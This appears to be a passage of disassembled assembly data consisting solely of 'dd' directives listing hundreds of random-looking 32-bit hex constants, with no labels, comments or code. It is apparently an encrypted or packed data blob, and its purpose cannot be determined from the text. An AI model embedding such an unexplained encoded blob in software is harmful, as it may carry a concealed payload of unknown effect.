		dd 0DC3AA47h, 0C868192Dh, 0D0D80134h, 13930826h, 1774BBF8h
		dd 0D32BF9EAh, 131A8AFBh, 8D895A52h, 4C575820h,	95856659h
		dd 65F7AFABh, 4B515817h, 7C761BA1h, 74106804h, 6EF3DDAEh
		dd 0E95B9190h, 3709BD63h, 982B157Fh, 8A2FA5Ch, 3255B230h
		dd 5E2E669Eh, 0A164A852h, 0AC644CE9h, 0BAC74B31h, 86AD24D9h
		dd 0B056E474h, 67100A80h, 6BD4516Bh, 0C9D8485Fh, 0DBBB758h
		dd 9CD47EDAh, 2DC7E25h,	7DF957DAh, 15AF9840h, 1B2488E1h
		dd 0E7E52798h, 93723A8Ch, 0AAE309F1h, 0EE743902h, 994BF6BFh
		dd 979F0AE3h, 0B1A3C01Ch, 0E5F1D06Bh, 6B126FF8h, 0C55100AEh
		dd 0EA88526Eh, 7F75E2BDh, 0BF00EBC4h, 22921F21h, 13A4E781h
		dd 0EB277B07h, 9A813297h, 0E66134AEh, 0DE58574Eh, 3BBA5204h
		dd 0E78A8754h, 672441F2h, 0B1AC7A0Ah, 11061898h, 5C745F2Fh
		dd 0BA1230F5h, 2150035Eh, 0BB040B98h, 4AE99B7Bh, 905866B0h
		dd 23830C2Ah, 9A24489Fh, 3A520C17h, 8F750EEh, 0EDD1581Fh
		dd 18DF54D0h, 1C95B081h, 0B7BD589h, 8402649Eh, 42FC2916h
		dd 0B23F308h, 57A9D3E9h, 58F2CFDCh, 5035B49Fh, 52818AC7h
		dd 0F842C575h, 4B24D7A9h, 41E2EB06h, 18567AC1h,	95C93B28h
		dd 2E87E140h, 570100A8h, 547403BFh, 0B725E94Eh,	0B01C6E50h
		dd 6379623h, 607E2C0h, 0AE59087Bh, 845C26C2h, 0B86C002Fh
		dd 16D23EFAh, 0BDD0F765h, 0A3E52F0Fh, 0F71AC9C0h, 0F3C064C4h
		dd 1675073Dh, 0B0EDE945h, 0F904BA92h, 31E5B5CFh, 0FD60C8FBh
		dd 174DB859h, 633577D4h, 0D90280AEh, 4C0D3D1Ch,	289D64E9h
		dd 0C24E8340h, 0B12A5B9Ch, 413C65A2h, 0F66065F9h, 335737E2h
		dd 423FEF08h, 0DD4B8E59h, 0C0B063Ah, 0C07841D7h, 5E3B32Fh
		dd 3606852h, 0E94B38FEh, 73147B27h, 9BA5BDC5h, 0F65A6640h
		dd 5052D907h, 0B243FBB4h, 0F018FD53h, 172CF535h, 0C1762D61h
		dd 7AB0519h, 38AFF2B4h,	7FBE39DCh, 691F512Dh, 0FB058978h
		dd 29CB1128h, 61C214A0h, 7C688D83h, 5AB62B6Bh, 0AC380C96h
		dd 0BE09EF5Fh, 0FE2E557Fh, 27C18177h, 0FC79B12Bh, 401797E9h
		dd 0B81A4B48h, 1C080D1Ch, 7D981405h, 899EDF33h,	1C7F0978h
		dd 15B0957Bh, 5481929Bh, 0B79CAAD8h, 2090A8C9h,	0F8972704h
		dd 0AC594E01h, 94125B2Ah, 0AFCCE1AFh, 0D834DC90h, 13124DEDh
		dd 0A7AF4F41h, 4C665818h, 8BC8109Bh, 50BA5828h,	402606FDh
		dd 170FBFCAh, 44430761h, 0C9BF4E9Ch, 4DC9F3EAh,	508C3A58h
		dd 96B49423h, 5A56B4C6h, 97186497h, 52A190F7h, 0BF49D54h
		dd 0DFC8837Ah, 9362D8Ch, 9BF23760h, 71273016h, 0E90B21CAh
		dd 1554801Dh, 63C75164h, 72037710h, 145D9D29h, 10055144h
		dd 2AE956F0h, 0B4814D99h, 13923CCEh, 0B788AEFAh, 0B545E268h
		dd 0E69737CEh, 2175957Fh, 122768CFh, 471316Eh, 91EE047Eh
		dd 6B755EF4h, 9B731323h, 24EBD48Eh, 0E02BAE77h,	27680A40h
		dd 7FF43EBAh, 0D93BE60h, 1135A45h, 5054072Fh, 0BCF6DC4Eh
		dd 53550F12h, 0C442E2BAh, 0A483D601h, 916E45Fh,	0D8648C64h
		dd 6F095C0Bh, 1A43FE1Ch, 1CD51A4Bh, 5D2C40B3h, 5009D198h
		dd 5F7E565Fh, 0E6395F78h, 62FCDA27h, 0E7029E4Ch, 34FE2270h
		dd 1EBB6C55h, 278A0244h, 0A089165Fh, 315AA774h,	0D70C3F6Dh
		dd 175DA65h, 6EB3E94Bh,	1DC7279Fh, 5702C989h, 0E91361FAh
		dd 0D0EE73B8h, 9C32046Bh, 265AD9E7h, 29292FEBh,	0C7E1F5A2h
		dd 3B4EFDE9h, 46773541h, 1B215784h, 0FBB5A42Ch,	5F216A62h
		dd 27640782h, 0A249AA0Eh, 9AAE74B4h, 1683DE9h, 0E96E085Dh
		dd 32939F02h, 0EFC4AB05h, 805524EAh, 500D924Eh,	9150075Ah
		dd 4FFC7D08h, 13EEB9C0h, 0C0442D38h, 0CDA95D0Ch, 0F22D296Ch
		dd 82225E5Eh, 5F04329Eh, 0F0B97A7Eh, 0E0A01E37h, 48678290h
		dd 47CB83Ah, 56E16514h,	67FCBA01h, 8B65EC5Eh, 31B322ADh
		dd 9BCAF5C8h, 9B601D89h, 3439422Dh, 9BE9CAB3h, 21FA918Eh
		dd 4499AF5Dh, 9DFA969Eh, 0DA4F42CEh, 20E97009h,	6815A736h
		dd 16B16A52h, 93884C8Bh, 43F2B5BBh, 2C906394h, 7B58F710h
		dd 7DC6EF57h, 844D6A09h, 557ADD22h, 10E1AC80h, 15EB20Ah
		dd 820BCD1h, 745AE2EAh,	0C86271FAh, 3CFC3E59h, 694821A5h
		dd 0C383A0D3h, 805D73F0h, 0FE881C97h, 9A97F49Eh, 1FB5BAB0h
		dd 0D5F63Dh, 0D2ED80C5h, 592CEA28h, 5A16F030h, 0E36E01A1h
		dd 0DCD8E1C7h, 0D2548824h, 8AE00595h, 58678C86h, 6225EFB0h
		dd 9BC7C64Ch, 0AB3E8B6Ch, 59026AD9h, 5F2C5E43h,	801316Ah
		dd 51BDC5E9h, 7A108DD6h, 752DEA31h, 8239E63Fh, 75E2CAE9h
		dd 1D204D14h, 0EAD100F0h, 840FD039h, 0A2A82B5Ch, 0D5EC9CBAh
		dd 0CA388998h, 7CAB06AEh, 95B2DAF7h, 207FEC0Bh,	0C98E232h
		dd 626467AEh, 17AA824Bh, 0D957056Ah, 0BE5164C8h, 69E7DEF2h
		dd 0F4A5CD79h, 568F3EAEh, 0FB494BA6h, 0AEEBB804h, 0C30358ACh
		dd 5BE61629h, 96B8EAFCh, 0CFAB1DA2h, 0C205ECD0h, 4E747116h
		dd 5B625FC2h, 0F53ADBBh, 425AFFA4h, 35205D9Bh, 33E4659Eh
		dd 49C98106h, 20727573h, 23B04355h, 0F46456EEh,	1CAB212Eh
		dd 5294C29Eh, 0E25732B4h, 5E474228h, 0BA5A2D3Ch, 0FE97B9E6h
		dd 0C5BA9F0Eh, 0EE3AF275h, 344A9B4Eh, 137605BBh, 12BFA50Eh
		dd 8C1CBFEFh, 68D161FBh, 6D3F1F99h, 28ECDA3Dh, 7074172Eh
		dd 9A86D42h, 630510F7h,	0ABD92E8h, 547668F1h, 91BA872Dh
		dd 0F84A651Eh, 685E05B5h, 8EAE658Ch, 0D6C12D01h, 4EE989A5h
		dd 974042C2h, 0A7260C61h, 94165848h, 2154D9FEh,	79B7F49Bh
		dd 550BA7B3h, 61F98554h, 0C4D5E2EEh, 0ADD30AA5h, 6E0CB9EBh
		dd 0F3ED6F80h, 8983A3AEh, 0FBA05DFAh, 460976C0h, 7DEF77Fh
		dd 0FF8B070Fh, 72C83C9Ch, 471E3CC1h, 24F81D40h,	2FF382D4h
		dd 1F40503h, 0FCD00E01h, 0CE3C89FAh, 8854E982h,	3A266801h
		dd 1889A73Fh, 0C5A7B790h, 92FC2768h, 1AD0D580h,	0E91966CEh
		dd 0EA379518h, 572DCE32h, 0DD058260h, 972BBC16h, 0CD2209AAh
		dd 840B3364h, 408E70Bh,	90EC990h, 7EC6C99Dh, 0B8FA19F7h
		dd 775EF652h, 0BC502585h, 35419217h, 76A20619h,	1DC7C43Fh
		dd 0B5AA4907h, 3D0F735Dh, 41831F96h, 0D168E32Fh, 0DE306E7Ah
		dd 3F2C77F6h, 87055370h
		dd 0A365CA5Ch, 0D9090234h, 72C12FE9h, 4E057883h, 0B8131333h
		dd 0C2C9DE59h, 800C733Bh, 0C1342305h, 0F028017Fh, 48BA072Dh
		dd 0FC58F32Dh, 62750F3h, 96092EBBh, 5BA8467Fh, 0BFCA170Ah
		dd 6494E178h, 0EBBE0A21h, 201F8956h, 6ED96709h,	95F9B8E0h
		dd 0B1678AD8h, 46F1F31Fh, 720DF12h, 174E12CBh, 0F550BE3Bh
		dd 575B0308h, 3B5DE7E9h, 1AA4E0A3h, 0CB5C92D1h,	0DE551007h
		dd 0C85F134Eh, 27B43844h, 10C6010Bh, 80BD7CBAh,	74EECC88h
		dd 4EBC3753h, 0B25BEDB7h, 466F1215h, 97E337EAh,	0EB20B9D2h
		dd 27E0110h, 3E071390h,	4F229227h, 5FF485F2h, 0F2BF1746h
		dd 6BDAFAB4h, 0C0401AB3h, 0B93E4137h, 293A157Ch, 1EE302BBh
		dd 40157E5Fh, 18079996h, 1A4B36D9h, 2DF2703Ah, 30BC176h
		dd 5086E956h, 4AD9E38h,	0FFAF0DF8h, 0D8CC34A1h,	5449D5Bh
		dd 0C554E977h, 8B44F08Bh, 60099DF8h, 0B8C06BDCh, 90266D03h
		dd 7E02E57h, 6549026Fh,	95411AD2h, 93CF88Bh, 8A8175BAh
		dd 0D4FC6E48h, 0D0C4ABD3h, 2ED72DEFh, 0E91737A7h, 0BA88407Fh
		dd 75BC2373h, 75AD0B0h,	0A9C2C8C0h, 56063754h, 13574916h
		dd 41F2F08Eh, 0A0612FA3h, 0EE09CDC0h, 0ECE45D4Bh, 0BCE11663h
		dd 5C7609BAh, 0A50966F3h, 80A55CF2h, 16D24902h,	0B3288868h
		dd 2D30CAD6h, 4C1A95B9h, 47485098h, 5C1F180Bh, 3210C3Fh
		dd 5D6C1D24h, 0E4654009h, 8D30049Fh, 0A1FD01B2h, 0F360F894h
		dd 0B5E97D0Bh, 88BC7CE7h, 5E2A0173h, 7C486825h,	0D5598838h
		dd 0BB20C82Fh, 54E41C64h, 0C20A301h, 93CF059Eh,	0F1496AFh
		dd 2428769Dh, 21E22F8Ch, 0D55A1254h, 5F2FC834h,	4E3AC68Dh
		dd 408CFD30h, 5224A8C3h, 1D090693h, 0B63EA20Fh,	978C7128h
		dd 0B8E65625h, 42BE13D1h, 84421AAh, 12D5225Dh, 77A27F0Bh
		dd 1F81680Bh, 0C5697FDEh, 0DC9536B7h, 3BC74020h, 4FFDFE29h
		dd 52FF8E5Bh, 0E9530475h, 89EE08E5h, 0DE764177h, 0F9FFC53Dh
		dd 0D4E27E47h, 2A688A40h, 16B07A4h, 0DE339BBBh,	68DCE927h
		dd 5056004Eh, 6E582068h, 0E05E676h, 8991A7E4h, 6A70C62Ch
		dd 758ECE94h, 7202E921h, 51623371h, 0D8BAE75Fh,	0BD561CAh
		dd 519BD498h, 0DEE6683Ch, 473B1209h, 891AA7A7h,	15AAE075h
		dd 36EB283Dh, 0E720AF4h, 2E6714Ch, 0A8374B83h, 5088055h
		dd 179F7BFAh, 52EFE934h, 9044EB3Dh, 0FC94A35Eh,	0B3AE3684h
		dd 0CAD1C6B6h, 2AD87739h, 0FBFD8CB9h, 368B142h,	0F410ED80h
		dd 314C5357h, 0C9046B48h, 0D069C067h, 32BE6859h, 4E6FE9BDh
		dd 78D45B02h, 62BAC9EFh, 2D6C6F8Ch, 755A23F4h, 29096E51h
		dd 2445DF5h, 0C21159BDh, 8209435Eh, 0D4030Eh, 32CACB81h
		dd 72568D30h, 13F3DD43h, 2DA31FEh, 5DE9D0CAh, 0E42449DEh
		dd 25137708h, 25790575h, 0C1FF9C1h, 0BF83ADF8h,	0D8824B79h
		dd 4049DA1Ah, 2CF28FDFh, 2516FAFDh, 553C09D7h, 6FB78482h
		dd 0FA573DDh, 0F9A6D501h, 353A0E69h, 6FF9E68h, 0E4C02A92h
		dd 955AD188h, 0E92DEF16h, 0BA628058h, 652C49E8h, 0D11DC95Ah
		dd 0DD4A5D84h, 17723C84h, 72ABD768h, 302725FEh,	0E9C8423Eh
		dd 47ACDF71h, 0DD12D7F4h, 3CA9CE29h, 9AA9F0E5h,	28756600h
		dd 2F2DD8F7h, 0D0FF3E7Ah, 44E82FC5h, 64B00D50h,	0B1586465h
		dd 2E802FDDh, 5BFC7424h, 2CB20Ah, 286EF181h, 571CFEh, 3723AABFh
		dd 0E9F9212Bh, 24F1A45Ah, 0BAB6952Ah, 0E916022Ah, 0B580A05Ch
		dd 0C5FE6312h, 64F53AA0h, 846506C8h, 5F22F885h,	594904BFh
		dd 0A839BF1Ah, 9C49FB2Bh, 4B03F064h, 68C79821h,	0D169FA2Dh
		dd 0C5BD81B3h, 2037404Eh, 0EE9C35B4h, 2198266Fh, 5BCD7F2Fh
		dd 0BD4600EEh, 274B0393h, 0E8B4D8B7h, 9D6EBF3Ah, 722AD49Dh
		dd 5830D675h, 5AD241CEh, 4DAC80C0h, 4B1B4412h, 949EE917h
		dd 3F66F5D0h, 0E8654AD0h, 0E949E010h, 0E34E5BAAh, 0FD3017ECh
		dd 0CDEFDCAEh, 0EB3BBA41h, 2F21066Dh, 978E82Ah,	227D7BE9h
		dd 183E795Dh, 0E7DB6B9h, 3AF84E7Dh, 7569CA9Ch, 5E5FA242h
		dd 0A7D65925h, 3CF772Eh, 351C5FA5h, 3041DEC9h, 2711FEFEh
		dd 0C62560Bh, 9E035E9Ah, 6F9A3445h, 0B6D015Dh, 9E60703Dh
		dd 77F70EEBh, 36E55139h, 88914F72h, 2AC6790h, 0EFE839D4h
		dd 6ACBFA4Bh, 0CF41E413h, 0B522587Eh, 44988300h, 5E014D2Bh
		dd 0CC15F2FBh, 9442713Dh, 0A02005Eh, 0D2F70163h, 2C9D9ED5h
		dd 9E47C5Fh, 0A3BB0412h, 0E4B21E40h, 0FCF6448h,	0EC306EB5h
		dd 0C4805981h, 0A3872A51h, 0BF6CE25h, 6010FD4Ch, 0EE301F1Ch
		dd 6F42CC9h, 0BF5A86F5h, 0EDA4D656h, 9B89370Bh,	6807137Fh
		dd 84E4B935h, 430987F0h, 0F3814754h, 13382786h,	42D7F20h
		dd 0F74DB479h, 0A805AFDFh, 8481EF83h, 0D83E1225h, 5941B715h
		dd 84D8F83Bh, 35ADD529h, 0ED4CAA12h, 4331C932h,	572CD20Ah
		dd 0F572B359h, 637F4200h, 0E91257DCh, 0DBD06590h, 7BEF0D64h
		dd 5552301Ah, 5BF5EE43h, 0FC4F152Fh, 0A008A0C0h, 264540AEh
		dd 27E4288Ch, 7B1E9EC0h, 5A674C82h, 25A9A6FDh, 265FD53h
		dd 0A5FFCC25h, 0A5B30B4Ah, 0B2400FF4h, 7DC38027h, 806D4B42h
		dd 0B4DFB30Dh, 66D66979h, 292798B6h, 0DA09105Fh, 16F795AAh
		dd 5D2BFC07h, 0EB04504Fh, 0C3C32805h, 3160BBD4h, 4F44673Ch
		dd 383C4A8Bh, 2D40DA9Dh, 8776BD21h, 5E530709h, 63935800h
		dd 24F17748h, 0E403E0BEh, 5ED6F75Ch, 8052E804h,	5DF6D35h
		dd 94E3F4FEh, 0BC680596h, 0B126433Fh, 9F98512Dh, 6B72E980h
		dd 44B44027h, 4F79F452h, 9EBEEC09h, 0DD824A09h,	0EE94C8BBh
		dd 41EAC9C8h, 0C6C56E3Eh, 0DFD0BAB8h, 8493E93Bh, 7002A23Ch
		dd 714195A0h, 0E6A86EE1h, 51EE38D2h, 0D49A5797h, 0FAE3DE77h
		dd 0A651F955h, 0C8FE4438h, 3E5B9211h, 5B25F1F7h, 134AC4FDh
		dd 0BC73DEE9h, 0C040C4E5h, 3C9839AFh, 1CC650CAh, 7D38F1E2h
		dd 11FAE04Ah, 4C6EF43Ch, 214D76E9h, 0CC39D112h,	6D2FDD12h
		dd 0E12F89Dh, 18112B54h, 70A1C3CDh, 64101318h, 690429B1h
		dd 85844299h, 3621BE86h, 0AA41315Eh, 80004A50h,	20519AC1h
		dd 617DB86h, 0C90EE286h, 0B7FB123Eh, 15524A7h, 14DFCA5h
		dd 0D464E2F7h, 0A1AD476Bh, 6004B829h, 605A0FB2h, 444922FBh
		dd 0D65F9F4Ah, 5FFB53D7h, 683721D5h, 0CA7CCE53h, 25509F62h
		dd 5BB044C5h, 5FECEF4Eh, 51EED180h, 5F9DF8E9h, 1A6AD220h
		dd 2DF66873h, 2BA6864Fh, 134A2C62h, 970F4E55h, 0F8502C71h
		dd 38D2A83Dh, 681AB54Ch, 14865960h, 9BC9DCB8h, 23DC04BAh
		dd 48B52AC1h, 0EA1D7267h, 6FD80BA4h, 0E9C090D7h, 0BF0770AEh
		dd 5FC5B471h, 2557D0D3h, 66ED850h, 84FDB9F6h, 5AD50116h
		dd 2880B5E9h, 0DC7EE9D8h, 57821095h, 887BBD0h, 0B43E5402h
		dd 2D04E913h, 112BBBFh,	3105EA40h, 82D3C9DAh, 53524308h
		dd 0AD9FE5Ah, 0B91D8CA5h, 0ABCAE8B9h, 3319578Ah, 67DAADDFh
		dd 10564842h, 0BB4E8E4Ah, 0F17A1D8Dh, 29EB2F3Fh, 0F43DA53Fh
		dd 8B89D188h, 543CA777h, 7B916287h, 0F7895F02h,	0E783E896h
		dd 0D02CE88Ch, 0BF6607CCh, 814015C1h, 0C2F0D9C7h, 4CD8CF0Ah
		dd 0A35EA9FFh, 0F2FB29C7h, 6181FF87h, 722862E9h, 671F03DAh
		dd 0E7899DFCh, 5E651AD2h, 0F1B80ECh, 0F68160F1h, 0DA522701h
		dd 33CFE954h, 0CB61E425h, 161FB93Bh, 9DEE57D4h,	21EF2F35h
		dd 7495E9DEh, 0B9359C1h, 61FB273Eh, 41EE30ABh, 2173E8BBh
		dd 71090D2Dh, 0B8FF35Dh, 9D1AA1A5h, 7A6A545Fh, 68868345h
		dd 0F7933563h
		dd 3E08A17Fh, 955D28AAh, 29E87B4Ah, 459BBFA4h, 3682AA4Bh
		dd 0BD63C6B4h, 50C528DBh, 395AAFF0h, 8F48C588h,	413C5816h
		dd 0A864D637h, 0D4B93016h, 0D5890DC9h, 273ACFF1h, 790AC939h
		dd 7D288F24h, 403EF3F3h, 219EE202h, 239769F6h, 0EC5AA67h
		dd 3910CE1Dh, 827F2CC9h, 0D74088B9h, 6F7EB23Bh,	53537064h
		dd 4839A9BAh, 295B2D9Fh, 0A7B6107Fh, 681286A9h,	0EAD87ED4h
		dd 0DD26128Bh, 361F86Eh, 2E9C6D72h, 4D6F7h, 940BF57h, 0FD211437h
		dd 0C5B6E924h, 7FC5B99Fh, 5BC05451h, 75E479F0h,	2B175D11h
		dd 0CE9A3458h, 7874D400h, 82B54F3Ah, 0DC0CE95Dh, 9AF71899h
		dd 813F4D5Dh, 0C5DD01EDh, 671BE98Ah, 0B0B74880h, 0C05BFD30h
		dd 0F607ED01h, 39E952DDh, 0AC630B7Eh, 0AED697D7h, 487A19E8h
		dd 59F97006h, 5CD983C9h, 0BDD302CFh, 0C4C0AA4Ah, 0B4A3894h
		dd 71FC4AE0h, 1AC28DEh,	123323CDh, 7B598F2Ah, 0A72B58C0h
		dd 0FCBC49D2h, 6D3E82AFh, 98C06129h, 252403A1h,	0AF10AD34h
		dd 3A846809h, 0F8555819h, 0A097DEE8h, 0F2627E09h, 0A0294147h
		dd 4626E106h, 54275C50h, 0E9E42066h, 60144BF4h,	0A5CC0C0Dh
		dd 6895C9DDh, 80EF5F0Eh, 0D64EB753h, 4BB6CBBBh,	7F52BCh
		dd 0B6525A66h, 0ADEDE923h, 80E71196h, 900DD7C7h, 95C330C4h
		dd 0A0F798F7h, 0DB7F8260h, 57803B1Fh, 0E94FDC33h, 91D3A068h
		dd 1115C404h, 59EF3000h, 0A8C99604h, 2E8077B3h,	0CF868BC7h
		dd 4075E912h, 4F29A1C8h, 2649A7F8h, 2185E61Dh, 0CFFA1C57h
		dd 7C52250Fh, 8371AEh, 0D76C97E9h, 5E41FA47h, 0D071C4A6h
		dd 0B1644BF8h, 4265A66Eh, 0D7E688DBh, 279AEBECh, 0F7915669h
		dd 0D48DEE80h, 89BDF668h, 129B71E6h, 2A2CA112h,	0D35161EEh
		dd 37AF2B86h, 7DF1A396h, 0ADF52D76h, 0FFF0ABBFh, 0DC593625h
		dd 786AFB0Ah, 1D082E28h, 0FBD12DA7h, 0B565133Dh, 0BD5512C8h
		dd 31E29830h, 6117DD99h, 4F0AC78Ch, 0E1C88965h,	26122A9Dh
		dd 3B47B7FBh, 0E2644A59h, 4E3AB0Eh, 93802F9Dh, 1A072490h
		dd 1CDF296Bh, 1715080Ah, 92B3603Ch, 3926942Ch, 66022B81h
		dd 7C4E3208h, 17150257h, 0AE636282h, 0E36570A1h, 0F17D1805h
		dd 7CFC58F0h, 85E1AC5Bh, 7E905F37h, 0B9285BDAh,	7F622DC3h
		dd 24AE004h, 906CE768h,	96BED6Eh, 22E9302Ch, 0B8052170h
		dd 9CAC7ED1h, 899904BAh, 5E03FBF2h, 90CD1F14h, 4FE9EA09h
		dd 62DEA4DEh, 5612B112h, 3D10B1A3h, 0E10C624Eh,	18BDA246h
		dd 7EEC5F60h, 0E618A0Eh, 5B5EC448h, 177EF8BAh, 0E88D3368h
		dd 4BBD02h, 8052B353h, 0F63DF300h, 0B55166DBh, 0C2E91761h
		dd 621EB27Ch, 0E4DDEF6h, 4EF581E1h, 3FB8687Bh, 85461BEEh
		dd 685FF02Eh, 0C7FE9DCCh, 5934BF60h, 77494D36h,	28277D3Eh
		dd 0C706FB7Ah, 343C7EA4h, 0F2EF090Ch, 0E0D58FBCh, 0AC05CDB6h
		dd 509E7BB1h, 9744F44Dh, 0A24D4D4Ch, 0F1F35F90h, 5BF82E7Bh
		dd 4D62A7E4h, 0D80B5FD4h, 808DF98Eh, 17576354h,	68248ABAh
		dd 0C20110F3h, 51610338h, 0EA7F0A6Eh, 73CE2D08h, 0E3303C41h
		dd 0B8A84025h, 203DC109h, 84287C77h, 342D50h, 250A3070h
		dd 0CE720F05h, 47D765ACh, 5B1C1090h, 4CBA6A02h,	0EEC379F7h
		dd 859FADD6h, 0A8F90DB8h, 5CCA2F77h, 6884F579h,	8EFB2FD0h
		dd 48DC7587h, 650BD268h, 7D33557Ch, 6AEB4202h, 0B440F1F6h
		dd 0E4DCF6ABh, 0CF524CD4h, 403F6517h, 0FA2CC86Dh, 68148B04h
		dd 0D3D75043h, 4118F3F0h, 8B6A201Ah, 2D0114B6h,	4054357Dh
		dd 966CA0E8h, 0DD126B81h, 0BA522260h, 0A4AF386Ch, 4DD0F343h
		dd 8E8A2FE9h, 13F044A1h, 0EE56EE77h, 80060632h,	0C55CA0D8h
		dd 0D08900FDh, 35E0D15Ah, 7004C2D7h, 0A363E99Ah, 681E2CFBh
		dd 98175E2Bh, 0A00EFE00h, 413CE91Bh, 0BAD6EDCh,	0D9758789h
		dd 0D5AAC2F0h, 878BE599h, 4FB468E4h, 1D655F09h,	69BF51AFh
		dd 6C6F71F5h, 9925E97Dh, 7A5E9865h, 8223B4B8h, 59641974h
		dd 6022D17Fh, 11EC6D93h, 0B0CF2926h, 0D1950820h, 0F9696EC3h
		dd 4D34257Ch, 854C8AAEh, 0B3EB4DFEh, 38948EB4h,	17EEC5A5h
		dd 0FE8F8A12h, 5F08B292h, 8109C672h, 892938C6h,	161CFCA8h
		dd 7BA2B19Fh, 0B6B1ECFCh, 1DEB0556h, 4892BC93h,	2455B73Ah
		dd 623C144Ah, 161C820h,	595B5453h, 317F21B6h, 46E82B69h
		dd 486C6882h, 7EE1877h,	5271976Ah, 0F03E844Fh, 264128EEh
		dd 194C5B7Ch, 29281E86h, 21A86597h, 4EB38F12h, 3E4E82Fh
		dd 0D57197D7h, 0A009AA2Ah, 727BFE58h, 56D9AB29h, 403D451Ah
		dd 0CB4EB8A1h, 0A905E0Dh, 60241B98h, 0D6039F6Bh, 4A59DC4Ch
		dd 66920366h, 919BCA87h, 0A0D0F7A9h, 533E0A0Ah,	51BF8F57h
		dd 0DCBBE27Dh, 81A64111h, 0FE51907Bh, 752DBC7Fh, 0CD6D129h
		dd 0BA84B96Eh, 0ED80F5B1h, 512B4895h, 8640B501h, 0C24C7407h
		dd 0FB6F1314h, 64E5F390h, 3B6958BFh, 44438506h,	5C0A3E52h
		dd 0D23BFB27h, 0A484142Fh, 7FBCAA43h, 3175683Ah, 0F6F438D3h
		dd 0D7E91345h, 1E56565Bh, 0F853090Ah, 8255839Ah, 0B42FD24h
		dd 0CC2704C1h, 28371DECh, 3D5810D4h, 1B7E5AA7h,	0EBFA4D8Ah
		dd 835FFB82h, 72BAFCEBh, 0DB933E74h, 2CBFD757h,	0D997BC8Ch
		dd 75F4A7A9h, 101B82DAh, 9B24460h, 0FB3AF27Dh, 5C5DFE42h
		dd 685E58FBh, 0B87A3D2Ch, 0E96055CBh, 8B9FE8E9h, 0F2110746h
		dd 1226888Eh, 5CD10158h, 2FD3FD0Ch, 3DD667EAh, 2CE743C0h
		dd 0BABE2E04h, 0BBE86Dh, 9C127FEAh, 0FE2D2163h,	8074F65Fh
		dd 39A977EAh, 98FB9DE9h, 86184E36h, 0E61B0F7Ch,	0D3C9F129h
		dd 630421A1h, 69D8C159h, 0DDE9E0D3h, 82E49139h,	63019BDh
		dd 2BB8BD5h, 517CF193h,	48FD802Ah, 0C4E90652h, 0BDC9D64Eh
		dd 0AAA4A7E0h, 0B04C7708h, 5FEEAB9Fh, 47BF85A3h, 0E057059Ah
		dd 107DAE88h, 9721268Eh, 5DEA5CABh, 0B8F39255h,	5D305E5Ch
		dd 2F271105h, 2E7013ECh, 0B0E90780h, 7A76249h, 727D87CBh
		dd 2115119h, 5332097h, 4548D260h, 181DDA30h, 58897DE2h
		dd 0FA58102Ah, 0E54DA816h, 0A80805F5h, 0BAC4D8FCh, 9912C4Bh
		dd 62A0021Bh, 0C5F2D78h, 2707060Ch, 5150ADE9h, 310FB2F8h
		dd 7253819Fh, 5D168B1Ah, 5B6939E4h, 7AA8426Ch, 3D3CEC6Ch
		dd 0F9738D2h, 2AD5AE9Eh, 99912D01h, 0D520AB0Ch,	0ED6217A7h
		dd 0A434AF43h, 20CC0C80h, 0FA5A5A8Fh, 9D8D3B04h, 92C87AD4h
		dd 3B3241B7h, 0AD0B23FFh, 6B2154Eh, 73DA710h, 76EB8058h
		dd 0DD281F92h, 27A427A8h, 82A6135Eh, 0E21786CAh, 0AA9855FCh
		dd 744A4B25h, 890269A9h, 370BE9D6h, 10A58D9h, 0CE01B9D1h
		dd 507E5960h, 587A237Fh, 1833C8F8h, 9217BEBh, 0B67BD9F7h
		dd 0F60E2EDEh, 0E813DFA4h, 7048E9C4h, 0A0DFA53Dh, 532642ABh
		dd 0DE351C66h, 56FD31Fh, 0A7EAA269h, 8CAF4AE8h,	4BC01893h
		dd 2A4C9FBEh, 0BD3FF46Ch, 3DF539E8h, 4806609h, 4AC69331h
		dd 805FBC20h, 0A567672h, 0A259B74Bh, 14D4D065h,	0C5F9F0FFh
		dd 27C05350h, 0C3C3CFE1h, 82D59ABh, 2A4C7AD8h, 63CC23FCh
		dd 6D98FECDh, 4C80443Fh, 0DAF9314Ch, 5FC23EF8h,	0A162A2F4h
		dd 0AFCFA3Fh, 72062F46h, 0F6E909ADh, 0FC337EA4h, 0FEBAC6D8h
		dd 0F797A1B1h, 16314C65h, 0EC4B5738h, 9AFB1FFh,	8543F67Ah
		dd 0F647F4E9h, 0A073CE01h, 0A0F4F25h, 3D6C5DDh,	6A0343BEh
		dd 16E1EC4Dh, 8F04B22Ch, 54D8451Dh, 67411E95h, 5EF30E2Dh
		dd 0AD209081h, 0B7873B70h, 0B90033C4h, 117F0FC1h, 67C9810Eh
		dd 7C2B094Dh
		dd 0D2070527h, 0D741FB39h, 2E9151FAh, 1859F1F8h, 0CB3FF0Eh
		dd 4DE00ADBh, 0C61CD80h, 8956313Eh, 6E90EC4h, 7D6A71BAh
		dd 0C10D0055h, 4001A72Ch, 4E6429E9h, 28C04922h,	7C1115CFh
		dd 0E8824E09h, 143313A2h, 8BB4B2EEh, 1261745Fh,	0C7B3EF5Eh
		dd 5ABA5132h, 93AC2FF7h, 9B0C9DD1h, 92E7E83Bh, 0D8E6941Fh
		dd 0D562A1C2h, 629F0F16h, 435E5F15h, 9AE95685h,	0C525A7F9h
		dd 4090BCDAh, 59C84997h, 1D1A823Ah, 681292F8h, 20A92616h
		dd 0FEA3EAA5h, 41648316h, 5D1B4D8Ch, 0B485A419h, 41347A07h
		dd 8AE7C01Eh, 241F616Eh, 0ADF480E9h, 0DCB5B0B4h, 0C2E8F25Bh
		dd 82678Ah, 0B745F1DAh,	0D9250043h, 0D6D850Fh, 0E10924CEh
		dd 82E8C14Ch, 5D534603h, 162D95C6h, 0F4A0EC2Eh,	0F9564AD6h
		dd 0CAFFA56Ah, 5136160Eh, 84833CBEh, 7A9D1512h,	59A23902h
		dd 0E9FEE095h, 0DC02163Eh, 0C780C4CDh, 0DB69CF99h, 0C9CA1F5h
		dd 6206920h, 0D34A4809h, 0EFD3F4F4h, 0EB810360h, 35393ADh
		dd 5CBA5290h, 3401C320h, 0AC548CF2h, 0E8F4A18h,	438C1508h
		dd 0E923C3Ch, 649ACD07h, 0E5606B85h, 4895178Fh,	0F5544619h
		dd 8E704C0h, 0EE5FEF80h, 394DF681h, 0F0448704h,	0C1542969h
		dd 0F75902F8h, 8012040Dh, 0D8804933h, 9427ABFh,	0B7DAE93Ch
		dd 86A8C1F3h, 4CB10759h, 5D5E771Eh, 89B1F2B8h, 0E2C61243h
		dd 9E7277A9h, 2B1F9D5Bh, 0C9E1D167h, 5F20BA57h,	71DF7689h
